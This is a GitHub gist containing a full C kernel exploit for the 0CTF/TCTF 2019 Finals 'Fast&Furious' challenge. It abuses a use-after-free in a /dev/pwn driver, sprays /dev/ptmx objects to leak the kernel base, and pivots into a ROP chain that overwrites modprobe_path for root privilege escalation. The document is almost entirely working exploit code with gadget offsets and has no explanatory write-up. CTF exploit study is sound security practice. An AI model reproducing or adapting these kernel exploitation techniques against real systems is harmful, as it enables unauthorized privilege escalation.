Skip to content

Instantly share code, notes, and snippets.

@hama7230
Created June 10, 2019 04:59
Show Gist options
  • Save hama7230/d8576594250e85becc8419928be1a0e7 to your computer and use it in GitHub Desktop.
Save hama7230/d8576594250e85becc8419928be1a0e7 to your computer and use it in GitHub Desktop.
0CTF/TCTF 2019 Finals Fast&Furious
#define PROT_READ 0x1 /* Page can be read. */
#define PROT_WRITE 0x2 /* Page can be written. */
#define MAP_PRIVATE 0x02 /* Changes are private. */
#define MAP_ANONYMOUS 0x20 /* Don't use a file. */
#define MAP_POPULATE 0x8000
#define MAP_FIXED 0x10
#define MAP_GROWSDOWN 0x0100
#define O_RDWR 2
#define O_NOCTTY 00000400
#define O_RDONLY 00000000
int read(int fd, char* buf, int len) {
__asm__("mov rax, 0");
__asm__("syscall");
}
int write(int fd, char* buf, int len) {
__asm__("mov rax, 1");
__asm__("syscall");
}
int open(char* filename, int flags) {
__asm__("mov rax, 2");
__asm__("syscall");
}
int close(int fd) {
__asm__("mov rax, 3");
__asm__("syscall");
}
void exit(int status) {
__asm__("mov rax, 60");
__asm__("syscall");
}
int ioctl(unsigned int fd, unsigned int cmd, unsigned long* arg) {
__asm__("mov rax, 16");
__asm__("syscall");
}
void *mmap(void *addr, unsigned long length, int prot, int flags, int fd, unsigned long offset) {
__asm__("mov r10, rcx");
__asm__("mov rax, 9");
__asm__("syscall");
}
int strlen(char* string) {
int len = 0;
for (; *(string++) != '\x00'; len++) {}
return len;
}
void puts(char* string) {
int len = strlen(string);
write(1, string, len);
}
void memset(char* a, char b, int len) {
int i;
for (i=0; i<len; i++) {
a[i] = b;
}
}
int fd ;
struct obj {
unsigned long ptr;
unsigned long size;
};
struct args {
unsigned long num;
struct obj objs[0x10];
unsigned long idx;
};
unsigned long fake_ops[0x20] = {0};
int create(unsigned long num, struct obj* hoge) {
struct args buf;
memset(&buf, 0, sizeof(struct args));
buf.num = num;
buf.idx = 0xbeef;
for (int i=0; i<num; i++) {
buf.objs[i].size = hoge[i].size;
buf.objs[i].ptr = hoge[i].ptr;
}
return ioctl(fd, 6, &buf);
}
int kwrite(unsigned long num, struct obj* hoge, unsigned long idx) {
struct args buf;
memset(&buf, 0, sizeof(struct args));
buf.num = num;
buf.idx = idx;
for (int i=0; i<num; i++) {
buf.objs[i].size = hoge[i].size;
buf.objs[i].ptr = hoge[i].ptr;
}
return ioctl(fd, 666, &buf);
}
int kread(unsigned long num, struct obj* hoge, unsigned long idx) {
struct args buf;
memset(&buf, 0, sizeof(struct args));
buf.num = num;
buf.idx = idx;
for (int i=0; i<num; i++) {
buf.objs[i].size = hoge[i].size;
buf.objs[i].ptr = hoge[i].ptr;
}
return ioctl(fd, 66, &buf);
}
int delete(unsigned long idx) {
return ioctl(fd, 6666, &idx);
}
int ptmx_fds[0x100];
void open_ptmx(void) {
for (int i=0; i<0x100; i++)
ptmx_fds[i] = open("/dev/ptmx", O_NOCTTY|O_RDWR);
}
void close_ptmx(void) {
for (int i=0; i<0x100; i++)
close(ptmx_fds[i]);
}
void _start(void) {
puts("open /dev/pwn");
fd = open("/dev/pwn", O_RDONLY);
unsigned long* fake_stack;
fake_stack = mmap(0x5B000000-0x8000, 0x10000, PROT_READ|PROT_WRITE, 0x32 | MAP_POPULATE, -1, 0);
unsigned long hoge[0x3f0/8];
struct obj buf[0x4];
buf[0].size = 0x3f0;
buf[0].ptr = hoge;
memset(hoge, 'A', 0x3f0);
create(1, buf);
memset(hoge, 'B', 0x3f0);
create(1, buf);
memset(hoge, 'C', 0x3f0);
create(1, buf);
memset(hoge, 'D', 0x3f0);
create(1, buf);
puts("caused kUAF");
buf[0].ptr = 0xdeadbeef;
kwrite(1, buf, 0);
kwrite(1, buf, 1);
kwrite(1, buf, 2);
kwrite(1, buf, 3);
buf[0].ptr = hoge;
kread(1, buf, 0);
puts("trying open /dev/ptmx");
open_ptmx();
memset(hoge, 0, 0x3f0);
buf[0].size = 0x3f0;
buf[0].ptr = hoge;
kread(1, buf, 1);
// ffffffff81621440
// ffffffff820a3820
unsigned long kernel_base = hoge[3] - 0x10a3820;
//printf("kernel_base = 0x%lx\n", kernel_base);
// 0xffffffff81086800: pop rdi ; ret ; (58 found)
// 0xffffffff81039a91: pop rax ; ret ; (24 found)
// 0xffffffff812222b6: mov qword [rax], rdi ; pop rbp ; ret ; (2 found)
// 0xffffffff815687fa: mov esp, 0x5B000000 ; pop r12 ; pop rbp ; ret ; (5 found)
unsigned long pivot_gadget = 0xffffffff815687fa-0xffffffff81000000;
unsigned long pop_rax = 0xffffffff81039a91- 0xffffffff81000000;
unsigned long pop_rdi = 0xffffffff81086800- 0xffffffff81000000;
unsigned long mov_rax_rdi_pop = 0xffffffff812222b6-0xffffffff81000000;
unsigned long modprobe_path = 0xffffffff8265bcc0-0xffffffff81000000;
fake_stack += (0x8000/8);
*fake_stack++ = 0xdeadbeef;
*fake_stack++ = 0xdeadbeef;
*fake_stack++ = kernel_base + pop_rax;
*fake_stack++ = kernel_base + modprobe_path;
*fake_stack++ = kernel_base + pop_rdi;
*fake_stack++ = 0x77702f656d6f682f;
*fake_stack++ = kernel_base + mov_rax_rdi_pop;
*fake_stack++ = 0xdeadbeef;
*fake_stack++ = kernel_base + pop_rax;
*fake_stack++ = kernel_base + modprobe_path + 8;
*fake_stack++ = kernel_base + pop_rdi;
*fake_stack++ = 0x612f6e;
*fake_stack++ = kernel_base + mov_rax_rdi_pop;
*fake_stack++ = 0xdeadbeef;
*fake_stack++ = 0xffffffff81000220-0xffffffff81000000 + kernel_base;
hoge[3] = fake_ops;
for (int i=0; i<0x20; i++) {
fake_ops[i] = kernel_base + pivot_gadget;
}
kwrite(1, buf, 1);
for (int i=0; i<0x100; i++) {
ioctl(ptmx_fds[i], 0xdead, 0xbeef);
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment